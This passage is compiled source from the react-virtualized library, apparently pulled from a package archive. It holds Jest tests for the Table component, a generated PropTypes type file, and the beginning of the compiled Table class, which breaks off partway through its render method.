      expect(onColumnClick).toHaveBeenCalledTimes(1);
      var params = onColumnClick.mock.calls[0][0];
      expect(params.dataKey).toEqual('name');
      expect(params.columnData.data).toEqual(123);
      expect(params.event.type).toEqual('click');
    });
  });
  describe('onHeaderClick', function () {
    it('should call :onHeaderClick with the correct arguments when a column header is clicked and sorting is disabled', function () {
      var onHeaderClick = jest.fn();
      var rendered = findDOMNode(render(getMarkup({
        disableSort: true,
        onHeaderClick: onHeaderClick
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
      Simulate.click(nameColumn);
      expect(onHeaderClick).toHaveBeenCalledTimes(1);
      var params = onHeaderClick.mock.calls[0][0];
      expect(params.dataKey).toEqual('name');
      expect(params.columnData.data).toEqual(123);
      expect(params.event.type).toEqual('click');
    });
    it('should call :onHeaderClick with the correct arguments when a column header is clicked and sorting is enabled', function () {
      var onHeaderClick = jest.fn();
      var rendered = findDOMNode(render(getMarkup({
        disableSort: false,
        onHeaderClick: onHeaderClick
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
      Simulate.click(nameColumn);
      expect(onHeaderClick).toHaveBeenCalledTimes(1);
      var params = onHeaderClick.mock.calls[0][0];
      expect(params.dataKey).toEqual('name');
      expect(params.columnData.data).toEqual(123);
      expect(params.event.type).toEqual('click');
    });
  });
  describe('onRowClick', function () {
    it('should call :onRowClick with the correct :rowIndex when a row is clicked', function () {
      var onRowClick = jest.fn();
      var rendered = findDOMNode(render(getMarkup({
        onRowClick: onRowClick
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      Simulate.click(rows[0]);
      Simulate.click(rows[3]);
      expect(onRowClick).toHaveBeenCalledTimes(2);
      expect(onRowClick.mock.calls.map(function (call) {
        return call[0].index;
      })).toEqual([0, 3]);
    });
  });
  describe('onRowDoubleClick', function () {
    it('should call :onRowDoubleClick with the correct :rowIndex when a row is clicked', function () {
      var onRowDoubleClick = jest.fn();
      var rendered = findDOMNode(render(getMarkup({
        onRowDoubleClick: onRowDoubleClick
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      Simulate.doubleClick(rows[0]);
      Simulate.doubleClick(rows[3]);
      expect(onRowDoubleClick).toHaveBeenCalledTimes(2);
      expect(onRowDoubleClick.mock.calls.map(function (call) {
        return call[0].index;
      })).toEqual([0, 3]);
    });
  });
  describe('onRowRightClick', function () {
    it('should call :onRowRightClick with the correct :rowIndex when a row is right-clicked', function () {
      var onRowRightClick = jest.fn();
      var rendered = findDOMNode(render(getMarkup({
        onRowRightClick: onRowRightClick
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      Simulate.contextMenu(rows[0]);
      Simulate.contextMenu(rows[3]);
      expect(onRowRightClick).toHaveBeenCalledTimes(2);
      expect(onRowRightClick.mock.calls.map(function (call) {
        return call[0].index;
      })).toEqual([0, 3]);
    });
  });
  describe('onRowMouseOver/Out', function () {
    it('should call :onRowMouseOver and :onRowMouseOut with the correct :rowIndex when the mouse is moved over rows', function () {
      var onRowMouseOver = jest.fn();
      var onRowMouseOut = jest.fn();
      var rendered = findDOMNode(render(getMarkup({
        onRowMouseOver: onRowMouseOver,
        onRowMouseOut: onRowMouseOut
      })));

      var simulateMouseOver = function simulateMouseOver(from, to) {
        Simulate.mouseOut(from, {
          relatedTarget: to
        });
        Simulate.mouseOver(to, {
          relatedTarget: from
        });
      };

      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      simulateMouseOver(rows[0], rows[1]);
      simulateMouseOver(rows[1], rows[2]);
      simulateMouseOver(rows[2], rows[3]);
      expect(onRowMouseOver).toHaveBeenCalled();
      expect(onRowMouseOut).toHaveBeenCalled();
      expect(onRowMouseOver.mock.calls.map(function (call) {
        return call[0].index;
      })).toEqual([1, 2, 3]);
      expect(onRowMouseOut.mock.calls.map(function (call) {
        return call[0].index;
      })).toEqual([0, 1, 2]);
    });
  });
  describe('rowClassName', function () {
    it('should render a static classname given :rowClassName as a string', function () {
      var staticClassName = 'staticClass';
      var rendered = findDOMNode(render(getMarkup({
        rowClassName: staticClassName
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      Array.from(rows).forEach(function (row) {
        expect(row.className).toContain(staticClassName);
      });
    });
    it('should render dynamic classname given :rowClassName as a function', function () {
      var rendered = findDOMNode(render(getMarkup({
        rowClassName: function rowClassName(_ref15) {
          var index = _ref15.index;
          return index % 2 === 0 ? 'even' : 'odd';
        }
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      Array.from(rows).forEach(function (row, index) {
        if (index % 2 === 0) {
          expect(row.className).toContain('even');
          expect(row.className).not.toContain('odd');
        } else {
          expect(row.className).toContain('odd');
          expect(row.className).not.toContain('even');
        }
      });
    });
  });
  describe('onRowsRendered', function () {
    it('should call :onRowsRendered at least one row is rendered', function () {
      var startIndex, stopIndex;
      render(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params;

          return _params = params, startIndex = _params.startIndex, stopIndex = _params.stopIndex, _params;
        }
      }));
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(7);
    });
    it('should not call :onRowsRendered unless the start or stop indices have changed', function () {
      var numCalls = 0;
      var startIndex;
      var stopIndex;

      var onRowsRendered = function onRowsRendered(params) {
        startIndex = params.startIndex;
        stopIndex = params.stopIndex;
        numCalls++;
      };

      render(getMarkup({
        onRowsRendered: onRowsRendered
      }));
      expect(numCalls).toEqual(1);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(7);
      render(getMarkup({
        onRowsRendered: onRowsRendered
      }));
      expect(numCalls).toEqual(1);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(7);
    });
    it('should call :onRowsRendered if the start or stop indices have changed', function () {
      var numCalls = 0;
      var startIndex;
      var stopIndex;

      var onRowsRendered = function onRowsRendered(params) {
        startIndex = params.startIndex;
        stopIndex = params.stopIndex;
        numCalls++;
      };

      render(getMarkup({
        onRowsRendered: onRowsRendered
      }));
      expect(numCalls).toEqual(1);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(7);
      render(getMarkup({
        height: 50,
        onRowsRendered: onRowsRendered
      }));
      expect(numCalls).toEqual(2);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(2);
    });
    it('should not call :onRowsRendered if no rows are rendered', function () {
      var startIndex, stopIndex;
      render(getMarkup({
        height: 0,
        onRowsRendered: function onRowsRendered(params) {
          var _params2;

          return _params2 = params, startIndex = _params2.startIndex, stopIndex = _params2.stopIndex, _params2;
        }
      }));
      expect(startIndex).toEqual(undefined);
      expect(stopIndex).toEqual(undefined);
    });
  });
  describe(':scrollTop property', function () {
    it('should render correctly when an initial :scrollTop property is specified', function () {
      var startIndex, stopIndex;
      render(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params3;

          return _params3 = params, startIndex = _params3.startIndex, stopIndex = _params3.stopIndex, _params3;
        },
        scrollTop: 80
      }));
      expect(startIndex).toEqual(8);
      expect(stopIndex).toEqual(15);
    });
    it('should render correctly when :scrollTop property is updated', function () {
      var startIndex, stopIndex;
      render(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params4;

          return _params4 = params, startIndex = _params4.startIndex, stopIndex = _params4.stopIndex, _params4;
        }
      }));
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(7);
      render(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params5;

          return _params5 = params, startIndex = _params5.startIndex, stopIndex = _params5.stopIndex, _params5;
        },
        scrollTop: 80
      }));
      expect(startIndex).toEqual(8);
      expect(stopIndex).toEqual(15);
    });
  });
  describe('styles, classNames, and ids', function () {
    it('should use the expected global CSS classNames', function () {
      var node = findDOMNode(render(getMarkup({
        sort: function sort() {},
        sortBy: 'name',
        sortDirection: SortDirection.ASC
      })));
      expect(node.className).toEqual('ReactVirtualized__Table');
      expect(node.querySelector('.ReactVirtualized__Table__headerRow')).toBeTruthy();
      expect(node.querySelector('.ReactVirtualized__Table__rowColumn')).toBeTruthy();
      expect(node.querySelector('.ReactVirtualized__Table__headerColumn')).toBeTruthy();
      expect(node.querySelector('.ReactVirtualized__Table__row')).toBeTruthy();
      expect(node.querySelector('.ReactVirtualized__Table__sortableHeaderColumn')).toBeTruthy();
      expect(node.querySelector('.ReactVirtualized__Table__sortableHeaderIcon')).toBeTruthy();
    });
    it('should use a custom :className if specified', function () {
      var node = findDOMNode(render(getMarkup({
        className: 'foo',
        headerClassName: 'bar',
        rowClassName: 'baz'
      })));
      expect(node.className).toContain('foo');
      expect(node.querySelectorAll('.bar').length).toEqual(2);
      expect(node.querySelectorAll('.baz').length).toEqual(9);
    });
    it('should use a custom :id if specified', function () {
      var node = findDOMNode(render(getMarkup({
        id: 'bar'
      })));
      expect(node.getAttribute('id')).toEqual('bar');
    });
    it('should not set :id on the inner Grid', function () {
      var node = findDOMNode(render(getMarkup({
        id: 'bar'
      })));
      var grid = node.querySelector('.ReactVirtualized__Grid');
      expect(grid.getAttribute('id')).not.toEqual('bar');
    });
    it('should use custom :styles if specified', function () {
      var columnStyle = {
        backgroundColor: 'red',
        overflow: 'visible'
      };
      var headerStyle = {
        backgroundColor: 'blue'
      };
      var columnHeaderStyle = {
        color: 'yellow'
      };
      var rowStyle = {
        backgroundColor: 'green'
      };
      var style = {
        backgroundColor: 'orange'
      };
      var node = findDOMNode(render(getMarkup({
        columnStyle: columnStyle,
        headerStyle: headerStyle,
        columnHeaderStyle: columnHeaderStyle,
        rowStyle: rowStyle,
        style: style
      })));
      expect(node.querySelector('.ReactVirtualized__Table__rowColumn').style.backgroundColor).toEqual('red');
      expect(node.querySelector('.ReactVirtualized__Table__rowColumn').style.overflow).toEqual('visible');
      expect(node.querySelector('.ReactVirtualized__Table__headerColumn').style.backgroundColor).toEqual('blue');
      expect(node.querySelector('.ReactVirtualized__Table__headerColumn').style.color).toEqual('yellow');
      expect(node.querySelector('.ReactVirtualized__Table__row').style.backgroundColor).toEqual('green');
      expect(node.style.backgroundColor).toEqual('orange');
    });
    it('should render dynamic style given :rowStyle as a function', function () {
      var rendered = findDOMNode(render(getMarkup({
        rowStyle: function rowStyle(_ref16) {
          var index = _ref16.index;
          return index % 2 === 0 ? {
            backgroundColor: 'red'
          } : {
            backgroundColor: 'green'
          };
        }
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      Array.from(rows).forEach(function (row, index) {
        if (index % 2 === 0) {
          expect(row.style.backgroundColor).toEqual('red');
        } else {
          expect(row.style.backgroundColor).toEqual('green');
        }
      });
    });
    it('should pass :gridClassName and :gridStyle to the inner Grid', function () {
      var rendered = findDOMNode(render(getMarkup({
        gridClassName: 'foo',
        gridStyle: {
          backgroundColor: 'red'
        }
      })));
      var grid = rendered.querySelector('.ReactVirtualized__Grid');
      expect(grid.className).toContain('foo');
      expect(grid.style.backgroundColor).toEqual('red');
    });
  });
  describe('overscanRowCount', function () {
    it('should not overscan by default', function () {
      var mock = jest.fn();
      mock.mockImplementation(overscanIndicesGetter);
      render(getMarkup({
        overscanIndicesGetter: mock
      }));
      expect(mock.mock.calls[0][0].overscanCellsCount).toEqual(0);
      expect(mock.mock.calls[1][0].overscanCellsCount).toEqual(0);
    });
    it('should overscan the specified amount', function () {
      var mock = jest.fn();
      mock.mockImplementation(overscanIndicesGetter);
      render(getMarkup({
        overscanIndicesGetter: mock,
        overscanRowCount: 10
      }));
      expect(mock.mock.calls[0][0].overscanCellsCount).toEqual(0);
      expect(mock.mock.calls[1][0].overscanCellsCount).toEqual(10);
    });
  });
  describe('onScroll', function () {
    it('should trigger callback when component initially mounts', function () {
      var onScrollCalls = [];
      render(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      expect(onScrollCalls).toEqual([{
        clientHeight: 80,
        scrollHeight: 1000,
        scrollTop: 0
      }]);
    });
    it('should trigger callback when component scrolls', function () {
      var onScrollCalls = [];
      var rendered = render(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      var target = {
        scrollLeft: 0,
        scrollTop: 100
      };
      rendered.Grid._scrollingContainer = target; // HACK to work around _onScroll target check

      Simulate.scroll(findDOMNode(rendered.Grid), {
        target: target
      });
      expect(onScrollCalls.length).toEqual(2);
      expect(onScrollCalls[1]).toEqual({
        clientHeight: 80,
        scrollHeight: 1000,
        scrollTop: 100
      });
    });
  });
  describe('a11y properties', function () {
    it('should set aria role on the table', function () {
      var node = findDOMNode(render(getMarkup()));
      expect(node.getAttribute('role')).toEqual('grid');
    });
    it('should set aria col/row count on the table', function () {
      var node = findDOMNode(render(getMarkup()));
      expect(node.getAttribute('aria-colcount')).toEqual('2');
      expect(node.getAttribute('aria-rowcount')).toEqual("".concat(list.size));
    });
    it('should pass down aria labels on the table', function () {
      var node = findDOMNode(render(getMarkup({
        'aria-label': 'my-table-label',
        'aria-labelledby': 'my-table-label-id'
      })));
      expect(node.getAttribute('aria-label')).toEqual('my-table-label');
      expect(node.getAttribute('aria-labelledby')).toEqual('my-table-label-id');
    });
    it('should set aria role on the header row', function () {
      var rendered = findDOMNode(render(getMarkup()));
      var row = rendered.querySelector('.ReactVirtualized__Table__headerRow');
      expect(row.getAttribute('role')).toEqual('row');
    });
    it('should set appropriate aria role on the grid', function () {
      var rendered = findDOMNode(render(getMarkup()));
      var grid = rendered.querySelector('.ReactVirtualized__Table__Grid');
      expect(grid.getAttribute('role')).toEqual('rowgroup');
    });
    it('should set aria role on a row', function () {
      var rendered = findDOMNode(render(getMarkup()));
      var row = rendered.querySelector('.ReactVirtualized__Table__row');
      expect(row.getAttribute('role')).toEqual('row');
    });
    it('should set aria rowindex on a row', function () {
      var rendered = findDOMNode(render(getMarkup()));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      expect(rows[0].getAttribute('aria-rowindex')).toEqual('1');
      expect(rows[1].getAttribute('aria-rowindex')).toEqual('2');
    });
    it('should set aria role on a cell', function () {
      var rendered = findDOMNode(render(getMarkup()));
      var cell = rendered.querySelector('.ReactVirtualized__Table__rowColumn');
      expect(cell.getAttribute('role')).toEqual('gridcell');
    });
    it('should set aria colindex on a cell', function () {
      var rendered = findDOMNode(render(getMarkup()));
      var cells = rendered.querySelectorAll('.ReactVirtualized__Table__rowColumn');
      expect(cells[0].getAttribute('aria-colindex')).toEqual('1');
      expect(cells[1].getAttribute('aria-colindex')).toEqual('2');
    });
    it('should set aria-describedby on a cell when the column has an id', function () {
      var columnID = 'column-header-test';
      var rendered = findDOMNode(render(getMarkup({
        columnID: columnID
      })));
      var cell = rendered.querySelector('.ReactVirtualized__Table__rowColumn');
      expect(cell.getAttribute('aria-describedby')).toEqual(columnID);
    });
    it('should attach a11y properties to a row if :onRowClick is specified', function () {
      var rendered = findDOMNode(render(getMarkup({
        onRowClick: function onRowClick() {}
      })));
      var row = rendered.querySelector('.ReactVirtualized__Table__row');
      expect(row.getAttribute('aria-label')).toEqual('row');
      expect(row.tabIndex).toEqual(0);
    });
    it('should not attach a11y properties to a row if no :onRowClick is specified', function () {
      var rendered = findDOMNode(render(getMarkup({
        onRowClick: null
      })));
      var row = rendered.querySelector('.ReactVirtualized__Table__row');
      expect(row.getAttribute('aria-label')).toEqual(null);
      expect(row.tabIndex).toEqual(-1);
    });
    it('should set aria role on a header column', function () {
      var rendered = findDOMNode(render(getMarkup()));
      var header = rendered.querySelector('.ReactVirtualized__Table__headerColumn');
      expect(header.getAttribute('role')).toEqual('columnheader');
    });
    it('should set aria-sort ascending on a header column if the column is sorted ascending', function () {
      var rendered = findDOMNode(render(getMarkup({
        sortBy: 'name',
        sortDirection: SortDirection.ASC
      })));
      var header = rendered.querySelector('.ReactVirtualized__Table__headerColumn');
      expect(header.getAttribute('aria-sort')).toEqual('ascending');
    });
    it('should set aria-sort descending on a header column if the column is sorted descending', function () {
      var rendered = findDOMNode(render(getMarkup({
        sortBy: 'name',
        sortDirection: SortDirection.DESC
      })));
      var header = rendered.querySelector('.ReactVirtualized__Table__headerColumn');
      expect(header.getAttribute('aria-sort')).toEqual('descending');
    });
    it('should set aria-sort to "none" if the column is sortable but not the current sort', function () {
      var rendered = findDOMNode(render(getMarkup({
        disableSort: true,
        sort: jest.fn()
      })));
      var headers = rendered.querySelectorAll('.ReactVirtualized__Table__headerColumn'); // the first column is not sortable

      expect(headers[0].getAttribute('aria-sort')).toBe(null); // the second column is sortable

      expect(headers[1].getAttribute('aria-sort')).toEqual('none');
    });
    it('should set id on a header column when the column has an id', function () {
      var columnID = 'column-header-test';
      var rendered = findDOMNode(render(getMarkup({
        columnID: columnID
      })));
      var header = rendered.querySelector('.ReactVirtualized__Table__headerColumn');
      expect(header.getAttribute('id')).toEqual(columnID);
    });
    it('should attach a11y properties to a header column if sort is enabled', function () {
      var rendered = findDOMNode(render(getMarkup({
        disableSort: false,
        sort: function sort() {}
      })));
      var row = rendered.querySelector('.ReactVirtualized__Table__headerColumn');
      expect(row.getAttribute('aria-label')).toEqual('Name');
      expect(row.tabIndex).toEqual(0);
    });
    it('should not attach a11y properties to a header column if sort is not enabled', function () {
      var rendered = findDOMNode(render(getMarkup({
        disableSort: true
      })));
      var row = rendered.querySelector('.ReactVirtualized__Table__headerColumn');
      expect(row.getAttribute('aria-label')).toEqual(null);
      expect(row.tabIndex).toEqual(-1);
    });
  });
  describe('tabIndex', function () {
    it('should be focusable by default', function () {
      var rendered = findDOMNode(render(getMarkup()));
      expect(rendered.querySelector('.ReactVirtualized__Grid').tabIndex).toEqual(0);
    });
    it('should allow tabIndex to be overridden', function () {
      var rendered = findDOMNode(render(getMarkup({
        tabIndex: -1
      })));
      expect(rendered.querySelector('.ReactVirtualized__Grid').tabIndex).toEqual(-1);
    });
  });
  describe('pure', function () {
    it('should not re-render unless props have changed', function () {
      var headerRendererCalled = false;
      var cellRendererCalled = false;

      function headerRenderer() {
        headerRendererCalled = true;
        return 'foo';
      }

      function cellRenderer() {
        cellRendererCalled = true;
        return 'foo';
      }

      var markup = getMarkup({
        headerRenderer: headerRenderer,
        cellRenderer: cellRenderer
      });
      render(markup);
      expect(headerRendererCalled).toEqual(true);
      expect(cellRendererCalled).toEqual(true);
      headerRendererCalled = false;
      cellRendererCalled = false;
      render(markup);
      expect(headerRendererCalled).toEqual(false);
      expect(cellRendererCalled).toEqual(false);
    });
    it('should re-render both the Table and the inner Grid whenever an external property changes', function () {
      var headerRendererCalled = false;
      var cellRendererCalled = false;

      function headerRenderer() {
        headerRendererCalled = true;
        return 'foo';
      }

      function cellRenderer() {
        cellRendererCalled = true;
        return 'foo';
      }

      var initialProperties = {
        autoHeight: false,
        cellRenderer: cellRenderer,
        estimatedRowSize: 15,
        headerRenderer: headerRenderer,
        overscanRowCount: 1,
        rowHeight: 15,
        rowCount: 20,
        scrollToAlignment: 'auto',
        scrollTop: 0,
        sortBy: 'name',
        sortDirection: SortDirection.ASC,
        tabIndex: null
      };
      var changedProperties = {
        autoHeight: true,
        estimatedRowSize: 10,
        overscanRowCount: 0,
        rowHeight: 10,
        rowCount: 10,
        scrollToAlignment: 'center',
        scrollTop: 1,
        sortBy: 'email',
        sortDirection: SortDirection.DESC,
        tabIndex: 1
      };
      Object.entries(changedProperties).forEach(function (_ref17) {
        var _ref18 = _slicedToArray(_ref17, 2),
            key = _ref18[0],
            value = _ref18[1];

        render.unmount(); // Reset

        render(getMarkup(initialProperties));
        headerRendererCalled = true;
        cellRendererCalled = false;
        render(getMarkup(_objectSpread({}, initialProperties, _defineProperty({}, key, value))));
        expect(headerRendererCalled).toEqual(true);
        expect(cellRendererCalled).toEqual(true);
      });
    });
  });
  it('should set the width of the single-column inner Grid to auto', function () {
    var rendered = findDOMNode(render(getMarkup()));
    expect(rendered.querySelector('.ReactVirtualized__Grid__innerScrollContainer').style.width).toEqual('auto');
  });
  it('should relay the Grid :parent param to the Column :cellRenderer', function () {
    var cellRenderer = jest.fn().mockReturnValue(null);
    findDOMNode(render(getMarkup({
      cellRenderer: cellRenderer
    })));
    expect(cellRenderer.mock.calls[0][0].parent).not.toBeUndefined();
  });
});es/Table/types.js000064400000007230151677406000007714 0ustar00var bpfrpt_proptype_CellDataGetterParams = process.env.NODE_ENV === 'production' ? null : {
  "columnData": PropTypes.any,
  "dataKey": PropTypes.string.isRequired,
  "rowData": function rowData(props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  }
};
var bpfrpt_proptype_CellRendererParams = process.env.NODE_ENV === 'production' ? null : {
  "cellData": PropTypes.any,
  "columnData": PropTypes.any,
  "dataKey": PropTypes.string.isRequired,
  "rowData": function rowData(props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  },
  "rowIndex": PropTypes.number.isRequired
};
var bpfrpt_proptype_HeaderRowRendererParams = process.env.NODE_ENV === 'production' ? null : {
  "className": PropTypes.string.isRequired,
  "columns": PropTypes.arrayOf(function (props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  }).isRequired,
  "style": function style(props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  }
};
var bpfrpt_proptype_HeaderRendererParams = process.env.NODE_ENV === 'production' ? null : {
  "columnData": PropTypes.any,
  "dataKey": PropTypes.string.isRequired,
  "disableSort": PropTypes.bool,
  "label": PropTypes.any,
  "sortBy": PropTypes.string,
  "sortDirection": PropTypes.string
};
var bpfrpt_proptype_RowRendererParams = process.env.NODE_ENV === 'production' ? null : {
  "className": PropTypes.string.isRequired,
  "columns": PropTypes.arrayOf(function (props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  }).isRequired,
  "index": PropTypes.number.isRequired,
  "isScrolling": PropTypes.bool.isRequired,
  "onRowClick": PropTypes.func,
  "onRowDoubleClick": PropTypes.func,
  "onRowMouseOver": PropTypes.func,
  "onRowMouseOut": PropTypes.func,
  "rowData": function rowData(props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  },
  "style": function style(props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  },
  "key": PropTypes.string.isRequired
};
import PropTypes from "prop-types";
export { bpfrpt_proptype_CellDataGetterParams };
export { bpfrpt_proptype_CellRendererParams };
export { bpfrpt_proptype_HeaderRowRendererParams };
export { bpfrpt_proptype_HeaderRendererParams };
export { bpfrpt_proptype_RowRendererParams };es/Table/Table.js000064400000065011151677406000007600 0ustar00import _extends from "@babel/runtime/helpers/extends";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import clsx from 'clsx';
import Column from './Column';
import PropTypes from 'prop-types';
import * as React from 'react';
import { findDOMNode } from 'react-dom';
import Grid, { accessibilityOverscanIndicesGetter } from '../Grid';
import defaultRowRenderer from './defaultRowRenderer';
import defaultHeaderRowRenderer from './defaultHeaderRowRenderer';
import SortDirection from './SortDirection';
/**
 * Table component with fixed headers and virtualized rows for improved performance with large data sets.
 * This component expects explicit width, height, and padding parameters.
 */

var Table =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(Table, _React$PureComponent);

  function Table(props) {
    var _this;

    _classCallCheck(this, Table);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(Table).call(this, props));
    _this.state = {
      scrollbarWidth: 0
    };
    _this._createColumn = _this._createColumn.bind(_assertThisInitialized(_this));
    _this._createRow = _this._createRow.bind(_assertThisInitialized(_this));
    _this._onScroll = _this._onScroll.bind(_assertThisInitialized(_this));
    _this._onSectionRendered = _this._onSectionRendered.bind(_assertThisInitialized(_this));
    _this._setRef = _this._setRef.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(Table, [{
    key: "forceUpdateGrid",
    value: function forceUpdateGrid() {
      if (this.Grid) {
        this.Grid.forceUpdate();
      }
    }
    /** See Grid#getOffsetForCell */

  }, {
    key: "getOffsetForRow",
    value: function getOffsetForRow(_ref) {
      var alignment = _ref.alignment,
          index = _ref.index;

      if (this.Grid) {
        var _this$Grid$getOffsetF = this.Grid.getOffsetForCell({
          alignment: alignment,
          rowIndex: index
        }),
            scrollTop = _this$Grid$getOffsetF.scrollTop;

        return scrollTop;
      }

      return 0;
    }
    /** CellMeasurer compatibility */

  }, {
    key: "invalidateCellSizeAfterRender",
    value: function invalidateCellSizeAfterRender(_ref2) {
      var columnIndex = _ref2.columnIndex,
          rowIndex = _ref2.rowIndex;

      if (this.Grid) {
        this.Grid.invalidateCellSizeAfterRender({
          rowIndex: rowIndex,
          columnIndex: columnIndex
        });
      }
    }
    /** See Grid#measureAllCells */

  }, {
    key: "measureAllRows",
    value: function measureAllRows() {
      if (this.Grid) {
        this.Grid.measureAllCells();
      }
    }
    /** CellMeasurer compatibility */

  }, {
    key: "recomputeGridSize",
    value: function recomputeGridSize() {
      var _ref3 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
          _ref3$columnIndex = _ref3.columnIndex,
          columnIndex = _ref3$columnIndex === void 0 ? 0 : _ref3$columnIndex,
          _ref3$rowIndex = _ref3.rowIndex,
          rowIndex = _ref3$rowIndex === void 0 ? 0 : _ref3$rowIndex;

      if (this.Grid) {
        this.Grid.recomputeGridSize({
          rowIndex: rowIndex,
          columnIndex: columnIndex
        });
      }
    }
    /** See Grid#recomputeGridSize */

  }, {
    key: "recomputeRowHeights",
    value: function recomputeRowHeights() {
      var index = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;

      if (this.Grid) {
        this.Grid.recomputeGridSize({
          rowIndex: index
        });
      }
    }
    /** See Grid#scrollToPosition */

  }, {
    key: "scrollToPosition",
    value: function scrollToPosition() {
      var scrollTop = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;

      if (this.Grid) {
        this.Grid.scrollToPosition({
          scrollTop: scrollTop
        });
      }
    }
    /** See Grid#scrollToCell */

  }, {
    key: "scrollToRow",
    value: function scrollToRow() {
      var index = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;

      if (this.Grid) {
        this.Grid.scrollToCell({
          columnIndex: 0,
          rowIndex: index
        });
      }
    }
  }, {
    key: "getScrollbarWidth",
    value: function getScrollbarWidth() {
      if (this.Grid) {
        var _Grid = findDOMNode(this.Grid);

        var clientWidth = _Grid.clientWidth || 0;
        var offsetWidth = _Grid.offsetWidth || 0;
        return offsetWidth - clientWidth;
      }

      return 0;
    }
  }, {
    key: "componentDidMount",
    value: function componentDidMount() {
      this._setScrollbarWidth();
    }
  }, {
    key: "componentDidUpdate",
    value: function componentDidUpdate() {
      this._setScrollbarWidth();
    }
  }, {
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$props = this.props,
          children = _this$props.children,
          className = _this$props.className,
          disableHeader = _this$props.disableHeader,
          gridClassName = _this$props.gridClassName,
          gridStyle = _this$props.gridStyle,
          headerHeight = _this$props.headerHeight,
          headerRowRenderer = _this$props.headerRowRenderer,
          height = _this$props.height,
          id = _this$props.id,
          noRowsRenderer = _this$props.noRowsRenderer,
          rowClassName = _this$props.rowClassName,
          rowStyle = _this$props.rowStyle,
          scrollToIndex = _this$props.scrollToIndex,
          style = _this$props.style,
          width = _this$props.width;
      var scrollbarWidth = this.state.scrollbarWidth;
      var availableRowsHeight = disableHeader ? height : height - headerHeight;
      var rowClass = typeof rowClassName === 'function' ? rowClassName({
        index: -1
      }) : rowClassName;
      var rowStyleObject = typeof rowStyle === 'function' ? rowStyle({
        index: -1
      }) : rowStyle; // Precompute and cache column styles before rendering rows and columns to speed things up

      this._cachedColumnStyles = [];
      React.Children.toArray(children).forEach(function (column, index) {
        var flexStyles = _this2._getFlexStyleForColumn(column, column.props.style);

